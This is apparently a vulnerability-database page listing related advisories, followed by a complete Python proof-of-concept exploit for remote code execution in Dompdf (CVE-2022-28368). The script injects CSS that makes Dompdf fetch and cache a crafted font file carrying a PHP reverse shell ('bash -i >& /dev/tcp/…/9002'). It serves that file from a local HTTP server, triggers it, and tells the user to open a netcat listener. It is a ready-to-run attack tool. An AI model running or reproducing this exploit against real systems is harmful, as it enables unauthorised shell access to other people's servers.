| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Dompdf 1.2.1 - Remote Code Execution Exploit | 6 Apr 202300:00 | – | zdt | |
| Exploit for Cross-site Scripting in Dompdf_Project Dompdf | 13 Feb 202308:10 | – | githubexploit | |
| Exploit for Cross-site Scripting in Dompdf_Project Dompdf | 28 Apr 202309:49 | – | githubexploit | |
| CVE-2022-28368 | 3 Apr 202203:15 | – | attackerkb | |
| CVE-2022-28368 | 3 Apr 202207:21 | – | circl | |
| Dompdf 跨站脚本漏洞 | 3 Apr 202200:00 | – | cnnvd | |
| CVE-2022-28368 | 3 Apr 202200:00 | – | cve | |
| CVE-2022-28368 | 3 Apr 202200:00 | – | cvelist | |
| CVE-2022-28368 | 3 Apr 202200:00 | – | debiancve | |
| Remote code injection via remote fonts | 24 Mar 202213:59 | – | friendsofphp |
#!/usr/bin/python3
# Exploit Title: Dompdf 1.2.1 - Remote Code Execution (RCE)
# Date: 16 February 2023
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://dompdf.github.io/
# Software Link: https://github.com/dompdf/dompdf
# Version: <1.2.1
# Tested on: Kali linux
# CVE : CVE-2022-28368
# Github Link : https://github.com/rvizx/CVE-2022-28368
import subprocess
import re
import os
import sys
import curses
import requests
import base64
import argparse
import urllib.parse
from urllib.parse import urlparse
def banner():
print('''
\033[2mCVE-2022-28368\033[0m - Dompdf RCE\033[2m PoC Exploit
\033[0mRavindu Wickramasinghe\033[2m | rvz - @rvizx9
https://github.com/rvizx/\033[0mCVE-2022-28368
''')
exploit_font = b"AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
def get_ip_addresses():
output = subprocess.check_output(['ifconfig']).decode()
ip_pattern = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
ip_addresses = re.findall(ip_pattern, output)
ip_addresses = [ip for ip in ip_addresses if not ip.startswith('255')]
ip_addresses = list(set(ip_addresses))
ip_addresses.insert(0, 'localhost')
return ip_addresses
def choose_ip_address(stdscr, ip_addresses):
curses.curs_set(0)
curses.noecho()
stdscr.keypad(True)
current_row = 0
num_rows = len(ip_addresses)
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
while True:
stdscr.clear()
stdscr.addstr("[ins]: please select an ip address, use up and down arrow keys, press enter to select.\n\n")
for i, ip_address in enumerate(ip_addresses):
if i == current_row:
stdscr.addstr(ip_address, curses.A_REVERSE)
else:
stdscr.addstr(ip_address)
stdscr.addstr("\n")
key = stdscr.getch()
if key == curses.KEY_UP and current_row > 0:
current_row -= 1
elif key == curses.KEY_DOWN and current_row < num_rows - 1:
current_row += 1
elif key == curses.KEY_ENTER or key in [10, 13]:
return ip_addresses[current_row]
def help():
print('''
usage:
./dompdf-rce --inject <css-inject-endpoint> --dompdf <dompdf-instance>
example:
./dompdf-rce --inject https://vuln.rvz/dev/convert-html-to-pdf?html= --dompdf https://vuln.rvz/dompdf/
notes:
- Provide the parameters in the URL (regardless the request method)
- Known Issues! - Testing with https://github.com/positive-security/dompdf-rce
The program has been successfully tested for RCE on some systems where dompdf was implemented,
But there may be some issues when testing with the dompdf-rce PoC at https://github.com/positive-security/dompdf-rce
due to a known issue described at https://github.com/positive-security/dompdf-rce/issues/2.
In this application, the same implementation was added for now.
Although it may be pointless at the moment, you can still manually add the payload
by copying the exploit_font.php file to ../path-to-dompdf-rce/dompdf/applicaiton/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php
- more : https://www.cve.org/CVERecord?id=CVE-2022-28368
''')
sys.exit()
def check_url(url):
regex = re.compile(
r'^(?:http|ftp)s?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'
r'localhost|'
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
if not re.match(regex, url):
print(f"\033[91m[err]:\033[0m {url} is not a valid url")
return False
else:
return True
def final_param(url):
query_start = url.rfind('?')
if query_start == -1:
query_start = url.rfind('&')
if query_start == -1:
return None
query_string = url[query_start+1:]
for param in reversed(query_string.split('&')):
if '=' in param:
name = param.split('=')[0]
if name:
return name
return None
if __name__ == '__main__':
banner()
ports = ['9001', '9002']
for port in ports:
try:
processes = subprocess.check_output(["lsof", "-i", "TCP:9001-9002"]).decode("utf-8")
for line in processes.split("\n"):
if "LISTEN" in line:
pid = line.split()[1]
port = line.split()[8].split(":")[1]
if port == "9001" or port == "9002":
os.system("kill -9 {}".format(pid))
print(f'\033[94m[inf]:\033[0m processes running on port {port} have been terminated')
except:
pass
if len(sys.argv) == 1:
print("\033[91m[err]:\033[0m no endpoints were provided. try --help")
sys.exit(1)
elif sys.argv[1] == "--help" or sys.argv[1] == "-h":
help()
elif len(sys.argv) > 1:
parser = argparse.ArgumentParser(description='',add_help=False, usage="./dompdf-rce --inject <css-inject-endpoint/file-with-multiple-endpoints> --dompdf <dompdf-instance-endpoint>")
parser.add_argument('--inject', type=str, help='[info] provide the url of the css inject endpoint', required=True)
parser.add_argument('--dompdf', type=str, help='[info] provide the url of the dompdf instance', required=True)
args = parser.parse_args()
injectpoint = args.inject
dompdf_url = args.dompdf
if not check_url(injectpoint) and (not check_url(dompdf_url)):
sys.exit()
param=final_param(injectpoint)
if param == None:
print("\n\033[91m[err]: no parameters were provided! \033[0mnote: provide the parameters in the url (--inject-css-endpoint url?param=) ")
sys.exit()
ip_addresses = get_ip_addresses()
sip = curses.wrapper(choose_ip_address, ip_addresses)
print(f'\033[94m[inf]:\033[0m selected ip address: {sip}')
shell = '''<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'''+sip+'''/9002 0>&1'");?>'''
print("\033[94m[inf]:\033[0m using payload: " +shell)
print("\033[94m[inf]:\033[0m generating exploit.css and exploit_font.php files...")
decoded_data = base64.b64decode(exploit_font).decode('utf-8')
decoded_data += '\n' + shell
css = '''
@font-face {
font-family:'exploitfont';
src:url('http://'''+sip+''':9001/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
'''
with open("exploit.css","w") as f:
f.write(css)
with open("exploit_font.php","w") as f:
f.write(decoded_data)
print("\033[94m[inf]:\033[0m starting http server on port 9001..")
http_server = subprocess.Popen(['python', '-m', 'http.server', '9001'])
url = "http://"+sip+":9001/exploit_font.php"
echo_output = subprocess.check_output(['echo', '-n', url.encode()])
md5sum_output = subprocess.check_output(['md5sum'], input=echo_output)
md5_hash = md5sum_output.split()[0].decode()
print("\033[94m[inf]:\033[0m url hash: "+md5_hash)
print("\033[94m[inf]:\033[0m filename: exploitfont_normal_"+md5_hash+".php")
print("\033[94m[inf]:\033[0m sending the payloads..\n")
url = injectpoint
if url.endswith("/"):
url = url[:-1]
headers = {
'Host': urlparse(injectpoint).hostname,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
}
payload="<link rel=stylesheet href=\'http://"+sip+":9001/exploit.css\'>"
data = '{\r\n"'+param+'": "'+payload+'"\r\n}'
try:
response1 = requests.get(url+urllib.parse.quote(payload),headers=headers,)
response2 = requests.post(url, headers=headers, data=data, verify=False)
except:
print("\033[91m[err]:\033[0m failed to send the requests! check connection to the host")
sys.exit()
if response1.status_code == 200 or response2.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: 200")
else:
print("\n\033[91m[err]: failed to send the exploit.css!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response1.status_code)+","+str(response2.status_code))
print("\033[94m[inf]:\033[0m terminating the http server..")
http_server.terminate()
print("\033[93m[ins]:\033[0m start a listener on port 9002 (execute the command on another terminal and press enter)")
print("\nnc -lvnp 9002")
input("\n\033[93m[ins]:\033[0m press enter to continue!")
print("\033[93m[ins]:\033[0m check for connections!")
del headers['Content-Type']
url = dompdf_url
if url.endswith("/"):
url = url[:-1]
url+="/lib/fonts/exploitfont_normal_"+md5_hash+".php"
response = requests.get(
url,
headers=headers,
verify=False, )
if response.status_code == 200:
print("\n\033[92m[inf]: success!\033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
else:
print("\n\033[91m[err]: failed to trigger the payload! \033[0m \n\033[94m[inf]:\033[0m url: "+url+" - status_code: "+str(response.status_code))
print("\033[94m[inf]:\033[0m process complete!")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation